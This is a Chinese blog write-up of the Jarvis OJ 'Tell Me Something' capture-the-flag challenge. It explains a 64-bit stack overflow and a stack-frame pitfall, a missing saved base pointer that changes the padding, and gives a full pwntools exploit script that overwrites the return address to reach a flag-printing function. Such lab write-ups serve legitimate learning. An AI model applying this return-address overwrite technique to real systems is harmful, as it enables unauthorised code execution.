• Jarvis Oj Pwn 学习笔记Tell Me Something


    记一个64位栈帧的坑!!!

    老板儿,链接要得:

    https://files.cnblogs.com/files/Magpie/guestbook.rar

    nc pwn.jarvisoj.com 9876

    第n次checksec...:

    宣IDA觐见:

    good_name一看就很妖孽,于是跟进去:

    好嘛~搞定了这不!

    看一下main函数的溢出点:

    于是payload:

    junk='A' * (0x88 + 0x08)

    ret=p64(0x400620)

    payload=junk + ret

    写好后一个payload打过去。。。结果,,说好的shell呢!!! /(ㄒoㄒ)/~~

    所以,有坑!

    现在我们来看一下汇编:

    main:

     good_name:

     

     仔细一看,惊了!

    main:----->

    good_name: & ----->

    所以,,它的栈帧处理和平衡的方式和我们常见的那种形式(push ebp ,     mov ebp,esp ,     sub esp,size_of_frame)是不一样的!

    因此,它的栈帧结构里实际上是没有old_ebp的,即junk的size为0x88而非0x88+8

    这样一来问题就解决了,我们上exp:

     1 from pwn import*
     2 r=remote('pwn.jarvisoj.com','9876')
     3 print r.recvline()
     4 pad='a'*0x88
     5 add=p64(0x400620)
     6 payload=pad+add
     7 r.sendline(payload)
     8 print payload
     9 print r.recvline()
    10 print r.recvline()

    从这道题中我们得到一个教训:

    看汇编!

    看汇编!!

    一定要看汇编!!!

  • 相关阅读:
    分层开发的优势
    分层开发的特点
    三层开发遵循的原则
    为什么需要分层
    什么是JNDI
    为什么需要JavaBean
    连接池中的连接对象是由谁创建的呢?
    什么是连接池技术
    为什么使用连接池?(为什么要使用JNDI)
    Servlet加载
  • 原文地址:https://www.cnblogs.com/Magpie/p/9119021.html
Copyright © 2020-2023  润新知